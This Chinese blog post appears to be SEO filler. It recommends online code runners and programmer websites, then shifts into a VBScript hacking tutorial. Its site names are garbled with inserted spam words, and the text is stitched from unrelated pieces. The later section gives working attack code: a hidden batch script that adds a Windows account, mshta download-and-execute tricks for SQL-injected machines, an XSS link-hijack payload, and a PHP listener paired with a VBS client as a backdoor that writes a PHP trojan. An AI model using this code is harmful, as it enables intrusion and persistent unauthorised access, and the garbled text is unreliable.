运行代码的网站?代码运行器
老铁们,大家好,相信还有很多朋友对于运行代码的网站和代码运行器的相关问题不太懂,没关系,今天就由我来为大家分享分享运行代码的网站以及代码运行器的问题,文章篇幅可能偏长,希望可以帮助到大家,下面一起来看看吧!
html在线运行代码
以下为你介绍几个可以在线运行 HTML代码的平台:
CodePen:功能强大且知名。它支持 HTML、CSS和 JavaScript代码的实时编辑与预览。用户可以方便地创建、分享和发现前端项目。提供了丰富的插件和模板,适合新手学习和开发者展示作品。操作时,打开网站后,分别在对应的 HTML、CSS、JS编辑区域输入代码,右侧会实时显示运行效果。JSFiddle:界面简洁易用,支持 HTML、CSS、JavaScript等多种语言的在线编写和运行。它允许用户选择不同的框架和库,方便进行代码测试和调试。进入网站,将 HTML代码输入到相应编辑框,同时可以设置 CSS和 JavaScript代码,点击运行即可查看结果。Replit:不仅能运行 HTML代码,还支持多种编程语言。它有协作功能,方便团队成员一起开发项目。可以创建新的 HTML项目,输入代码后点击运行按钮查看效果。菜鸟工具的在线 HTML编辑器:对于初学者很友好,界面简单直观。能快速编写 HTML代码并实时预览,还提供了一些基础的代码提示。只需在编辑器中输入 HTML代码,就能立即看到页面呈现情况。
程序员经常去的网站有哪些
国外的:
stackoverflow软件开发com有干货的地方。代码遇到相关问题经常被导到这个网站去,回答质量很高,排版简洁清晰。我现在遇到问题经常会搜索词后面加一个词“stackoverflow”,敲回车的同时常常要骂一下这个创始人起个名字咋那么长$%^#@%^&*.....
github软件开发com最大的开源中心,项目五花八门,从华贵绚丽的界面到低调实用的小类库,应有尽有。需要睁大眼睛慢慢挑,适合英语好的。Ruby和Javascript的项目尤其多。
codecanyon软件开发net初次看到这个网站,小伙伴们表示都惊呆了。原来代码也可以放在网上卖的?!!很多coder上传了各种代码,每个代码都明码标价。看了下销售排行,有的19刀的卖了3万多份,额di神啊。可以看到代码的演示效果,真的很漂亮。代码以php、wordpress主题、Javascript、css为主,偏前台。
国内的:
csdn软件开发net国内的程序员入门级网站,内容很多很杂,包括论坛、资源下载、博客、各种资讯等等。经常只在这个网站找到稳定的资源下载。攒积分要从娃娃抓起啊,不要到了要下载的时候才发现分不够。。。
oschina软件开发net国内最好的开源社区,在这里讨论问题的氛围挺不错的。创始人红薯也很热心,更新很即时,经常看到新出的开源项目在这里有翻译介绍。
pudn软件开发com源码资源量很大的网站,但是由于数量过大,审批松,源码质量不能保证。经常下载下来无法打开或者运行,白白浪费积分。上传5个资源即可下载。
misou软件开发com米搜。这个网站有点龟毛,信奉“有图有真相”原则,每个上传源码都要配图证明其运行状态。刚开始我也抵触,懒得上传,后来恼了,硬着头皮传了3个,发现其实也没有那么麻烦。上传3个就有大约30个积分,同时可以下载站内很多免积分的资源。界面用的是bootstrap,在chrome或者firefox下面看起来会更漂亮些。python、c#还有游戏类资源都不错。
jb51软件开发net脚本之家。网站建设类资源非常丰富,强项在于javascript软件开发公司和vb等脚本语言,还有很多素材和特效模板,真是开发网站的神器。界面比较传统,罗列式布局,刚刚上有点晕呵呵。
segmentfault软件开发com国内版的stackoverflow,90后的作品,已经积累了不少中文问答,人气还有待提高。
vbs怎么在网页运行
vbs有一个对像是“SAPI.SpVoice”,可以用它来讲英语的,这个组件在 xp、2003上默认都可以用的,调用后可以听到电脑上一个国外老男人在说话。好比这样一句代码:●CreateObject("SAPI.SpVoice").Speak"I LOVE YOU"●,保存成vbs后缀后双击就会听到英语的我爱你了。但随之而来我们讲到另一个问题,不保存成vbs或vbe后缀如何运行vbs代码。
一、用mshta来运行vbs
hta这种类型的文件运行后也是系统权限,其调用宿主就是mshta.exe。我们在cmd下运行这样一行代码:●mshta vbscript:createobject("sapi.spvoice").speak("I LOVE YOU.")(window.close)●,也会听到同样的发音。这行代码的意思类似是临时生成一个hta文件,然后运行里边的vbs代码,再调用 window.close将运行窗口关掉。整个运行过程是看不到hta窗口的。这种运行方式你会想到什么?最少我是想到了两个。一个是批处理的隐藏运行,基本代码如下:
★
@echo off
if"%1"=="h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)exit
:begin
rem下边开始写批处代码了
net user lcx 12345/add
★
这个代码只能双击运行,运行过程中你看不到具体的批处理运行流程的。第二个我想的是注射过程中的用途。网上有篇流传很广的文章《mssql注射中多次调用参数导致多次echo的解决方法》,中心思想是将vbs语句用冒号连接起来然后用echo命令一次写入到被注入的肉鸡上,然后再调用这个vbs来下载文件。如果调用mshta执行的话,下载、执行一次就ok了。不过在命令行下用mshta后边直接跟vbs代码有个难处理的问题是空格,不过这个好解决用 execute将vbs代码放在括号里就ok了,这个读者可以亲自去试一下了,相信我不难的。
二、用ie地址栏运行vbs
很多人会用ie地址栏运行js,其实vbs一样是可以的,我们随便打开一个网站,在地址栏上输入:vbscript:msgbox(Document.links.length)后回车,就会看到当前页面有多少个连接了。用document.links(i).href这句的话,将 i换成不同的自然数好比0、1、2、3等就会分别显示出不同的链接地址。这部份内容其实是涉及到dhtml的内容了。我们来看一个最简单的示例代码:
★
a href=
a href=
★
这是两个链接,保存成网页后点击就会跳转到不同的页面。如果这个页面有跨站,我想搞下破坏,让用户点击www.sohu.com却跑到我指定的页面上能做到吗?其实可以的,只要加一行语句就可以了,代码是:●body onload=vbscript:document.links(0).rel="external nofollow" href="":document.links(0).innerHTML="www.sohu.com"●。这样的话用户再点击sohu其实会跑到google上去了,原来页面的版式却丝毫没有破坏。同样的dhtml元素还有document.links(i).href、document.images(i).src、document.forms(i).action等等,跨站改变其动态元素是很好玩的。
三、调用外部组件来运行vbs
vbs本身功能毕竟有限,但是却可以很好的与外部交互。要是用vbs来模拟nc发包的话,就要调用vb组件了。关于VBS如何成功调用 MSWinsock.Winsock,zzzevazzz说的很清楚了。就是下载Winsock.ocs注册,和VB6控件的授权密钥的.reg导入注册表。两个文件可以在这里下载。前不久学了一段时间php,网上看到一个php的监听程序,可以用它来做一个后门,s端s.php代码如下:
★
?
//设置一些基本的变量
$host="192.168.8.100";
$port= 12345;
//设置超时时间
set_time_limit(0);
//创建一个Socket
$socket= socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create
socket");
//绑定Socket到端口
$result= socket_bind($socket,$host,$port) or die("Could not bind to
socket");
//开始监听链接
$result= socket_listen($socket, 3) or die("Could not set up socket
listener");
// accept incoming connections
//另一个Socket来处理通信
$spawn= socket_accept($socket) or die("Could not accept incoming
connection");
//获得客户端的输入
$input= socket_read($spawn, 1024) or die("Could not read input");
//清空输入字符串
$input= trim($input);//将输入结果写入ok.php,这句是我加的
fputs(fopen(ok.php,a+),"$input");
//处理客户端输入并返回结果
$output= strrev($input)."";
socket_write($spawn,$output, strlen($output)) or die("Could not write
output");
//关闭sockets
socket_close($spawn);
socket_close($socket);
?
★
在ie打开这个php,运行它的服务器会监听12345端口。如果我们再用vbs向12345端口发包的话,在同文件的php目录下会生成ok.php。发包的内容就是我们要写入ok.php的代码。该vbs文件c.vbs代码如下:
★
Set ie=WScript.CreateObject("InternetExplorer.Application")
ie.visible=false
ie.Navigate"" s.php是服务端
While ie.Busy
WScript.Sleep 100
Wend
Do
Wscript.Sleep 200
Loop Until ie.ReadyState=4
Set socket=WScript.CreateObject("MSWinsock.Winsock")
socket.Protocol=0
socket.RemotePort="12345"端口
socket.RemoteHost="192.168.8.100"主机
socket.connect socket.RemoteHost, socket.RemotePort连接
WScript.sleep 10
ddd="?phpinfo();"Chr(13)这里你可以改成一句话的php木马
socket.SendData ddd
WScript.sleep 100
wscript.echo"ok"
socket.senddata Chr(13)
socket.close
Set ie=nothing
★
一个vbs和一个php珠联璧合,打造了一个非常规后门。当然这个后门的价值不大,但重要的是思路
END,本文到此结束,如果可以帮助到大家,还望关注本站哦!